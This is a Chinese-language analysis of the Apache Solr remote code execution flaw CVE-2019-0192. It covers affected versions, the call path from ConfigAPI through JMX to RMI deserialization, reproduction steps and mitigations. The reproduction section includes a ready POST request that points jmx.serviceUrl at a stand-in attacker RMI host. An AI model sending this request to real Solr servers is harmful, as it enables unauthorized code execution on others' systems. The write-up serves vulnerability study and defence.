Apache Solr RCE—【CVE-2019-0192】
字数 1692 2025-08-29 08:32:02
Apache Solr RCE漏洞分析(CVE-2019-0192)
漏洞概述
漏洞名称:Apache Solr远程代码执行漏洞(CVE-2019-0192)
影响版本:
- 5.0.0至5.5.5
- 6.0.0至6.6.5
安全版本:7.0及以上
漏洞类型:不安全的反序列化导致的远程代码执行
漏洞描述:通过ConfigAPI配置Solr的JMX服务器时,如果指向恶意的RMI服务器,攻击者可利用Solr的不安全反序列化机制在Solr端触发远程代码执行。
漏洞原理分析
触发流程
完整的漏洞触发调用栈如下:
org.apache.solr.handler.SolrConfigHandler#handleRequestBodyorg.apache.solr.handler.SolrConfigHandler.Command#handlePOSTorg.apache.solr.handler.SolrConfigHandler.Command#applySetProporg.apache.solr.core.CoreContainer#reloadorg.apache.solr.core.SolrConfig#SolrConfigorg.apache.solr.core.SolrCore#reloadorg.apache.solr.core.SolrCore#SolrCoreorg.apache.solr.core.SolrCore#initInfoRegistryorg.apache.solr.core.JmxMonitoredMap#JmxMonitoredMapjavax.management.remote.JMXConnectorServerMBean#start
详细分析
-
请求处理入口:
- 访问路径
/config进入SolrConfigHandler#handleRequestBody - POST请求会进入
handlePOST函数处理
- 访问路径
-
配置修改流程:
- 在
handlePOST中,会进入handleCommands函数 - 通过
set-property操作调用applySetProp函数 applySetProp将POST参数处理后生成新的ConfigOverlay对象- 配置信息被持久化存储到
configoverlay.json文件中
- 在
-
服务重载流程:
- 调用
reload函数重启服务器 - 重新加载所有配置文件,包括刚修改的
configoverlay.json - 在
SolrConfig构造函数中,使用配置参数创建JmxConfiguration对象
- 调用
-
JMX触发点:
- 在
JmxMonitoredMap的构造函数中进行JMX监控操作 - 最终调用
javax.management.remote.JMXConnectorServerMBean#start - 底层通过RMI协议与恶意服务器交互,触发反序列化漏洞
- 在
关键代码点
-
JMX配置触发:
// SolrConfig构造函数中 jmxConfig = new JmxConfiguration(enable, port, serviceUrl, authentication); -
RMI连接建立:
- 在
JmxMonitoredMap的else代码块中调用JMXConnectorServer#start - 实际转向
javax.management.remote.rmi.RMIConnectorServer#start - 当检测到JNDI字符串在协议开头时,调用
bind方法进行远程服务器绑定
- 在
漏洞复现
复现环境
- Solr版本:5.0.0-5.5.5或6.0.0-6.6.5
- JDK版本:存在反序列化漏洞的版本(如jdk-7u21)
复现步骤
-
启动Solr:
./solr -e techproducts -Dcom.sun.management.jmxremote -
构造恶意POST请求:
POST /solr/[core]/config HTTP/1.1 Host: target:8983 Content-Type: application/json { "set-property": { "jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://malicious-server:1099/exploit" } } -
恶意RMI服务器:
- 搭建包含恶意序列化payload的RMI服务器
- 等待Solr服务器连接并触发反序列化
修复方案
- 升级到Solr 7.0或更高版本
- 临时缓解措施:
- 禁用ConfigAPI的写权限
- 限制JMX端口的网络访问
- 使用安全组或防火墙规则限制Solr的对外连接